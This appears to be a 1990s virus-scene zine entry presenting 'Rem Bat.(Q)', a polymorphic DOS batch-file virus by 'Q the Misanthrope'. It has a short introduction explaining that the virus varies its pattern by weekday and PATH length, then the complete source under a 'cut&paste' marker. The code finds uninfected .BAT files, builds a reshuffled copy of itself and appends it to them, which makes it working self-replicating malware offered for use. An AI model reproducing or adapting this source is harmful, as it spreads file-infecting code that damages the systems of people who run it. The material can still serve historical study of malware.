'ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿' º *******:::: Rem Bat.(Q) Virus ::::****** º º ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ º º ****** -= "Q" the Misanthrope =- ******* º 'ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ' Well, I hate to do this but I need to. Q didn't include the virus info with this file, just in the mail he sent me, so these words are clipped from it because i figured the virus needs a little background infomation. "I haven't been busy in the VX scene. Although I did like some of the ideas in GLITCH's GBP Ologmorphic Batch File Virus. I made one of my own that was more elegant and more ologmorphic. It uses the day of the week and the number of directories on your path as its seed for randomness. With this it can change to 63 (7*9) different batch file patterns. I know it is somewhat lame but batch file programming can be quite fun because of all the limitations in instructions." Welp, those are the words from the man. You heard em, now go check out the code. You might also want to look at the gbp and the tutorial that glitch wrote on the subject for a little refrence material. The tutorial can be found in VDAT 1.6 from Cicatrix's page at http://www.cyberstation.net/~cicatrix/ enjoy! ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄcut&pasteÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @echo oFF %:(Q)_0% %:(Q)_0% if not exist %0.BAT goto (Q)_Exit %:(Q)_0% goto (Q)_1 :(Q)_1 %:(Q)_1% fOr %%q in (*.bAT) do sEt (q)_file=%%q %:(Q)_1% fiNd /i "(Q)_"<%(Q)_FiLe%>nuL %:(Q)_1% goto (Q)__1 :(Q)__1 %:(Q)__1% if eRRoRlevel 1 goto (Q)_2 %:(Q)__1% goto (Q)_exit :(Q)_2 %:(Q)_2% eCHo.|DaTe>Q.BaT %:(Q)_2% eCHo @SeT DaY=%%3>CuRReNT.BaT %:(Q)_2% GoTo (Q)__2 :(Q)__2 %:(Q)__2% EchO @sEt dAy=%%4>thE.bAt %:(Q)__2% gOtO (Q)__thU :(Q)__Thu %:(Q)__ThU% sEt daY=ExIt %:(Q)__THu% caLl q.baT %:(Q)__Thu% goto (Q)__Fri :(Q)__frI %:(Q)__FRi% set Q=":(Q)_ %:(Q)__FrI% ECHO set miX=%%2 %%3 %%4 %%5 %%6 %%7 %%8 %%9 %%1>q.bAt %:(Q)__fri% Goto (Q)__SUN :(Q)__Sun %:(Q)__SUN% eCHO sET mIX2=_%%8 _%%5 _%%9 _%%2 _%%3 _%%1 _%%7 _%%4 _%%6>>q.BAT %:(Q)__SuN% goto (Q)_%day% :(Q)_SUN %:(Q)_sun% ECHO SET MIX=1 WED 2 THU SUN TUE SAT FRI MON>THE.BAT %:(Q)_SUn% GOTO (Q)__MON :(Q)_MOn %:(Q)_Mon% echo set mix=fri 2 wed mon thu 1 tue sun sat>the.bat %:(Q)_mon% goto (q)__mon :(Q)_tue %:(Q)_tuE% Echo Set Mix=Wed Mon 1 Sun Sat Fri Tue Thu 2>The.Bat %:(Q)_tUe% Goto (Q)__Mon :(Q)_wed %:(Q)_WeD% eCho sEt mIx=sAt fRi tHu 2 wEd tUe mOn 1 sUn>tHe.bAt %:(Q)_wEd% gOto (Q)__mOn :(Q)_Thu %:(Q)_Thu% ecHo seT mix=suN 2 frI moN 1 saT thU weD tuE>thE.baT %:(Q)_thu% goTo (Q)__moN :(Q)_fri %:(Q)_Fri% EchO sEt mIx=tUE mOn sUn thU 1 sAt frI wEd 2>thE.bAt %:(Q)_FrI% gOtO (q)__mOn :(Q)_SAT %:(Q)_SaT% echO seT miX=tuE frI weD suN 1 saT 2 thU moN>thE.baT %:(Q)_SAt% goto (Q)__moN :(Q)__MOn %:(Q)__mon% foR %%q in (%pAth%) dO eChO caLl q %%mIx%%>>The.bAt %:(Q)__Mon% goto (Q)__TuE :(Q)__TUe %:(Q)__TuE% fOr %%q in (_Sat) Do Find /i %q%%%q"<%0.BAT>>tHe.bAt %:(Q)__TUE% %cOmSpEc% nUl /f/E:8192/CtHe.BaT %0.BaT %:(Q)__tue% goto (Q)__Wed :(Q)__WED %:(Q)__WeD% fOr %%q iN (tHe cuRrent q) do Del %%q.bat %:(Q)__wed% fOr %%q In (mIx mix2 q daY (Q)_FiLE) do set %%q= %:(Q)__wEd% goto (Q)_ExIt %:(Q)__SAt% Rem Bat.(Q) by "Q" the Misanthrope %:(Q)__Sat% For %%q in (0 %mix% %mix2% Exit) do finD /i %q%%%q"<%1>>%(Q)_filE% :(Q)_Exit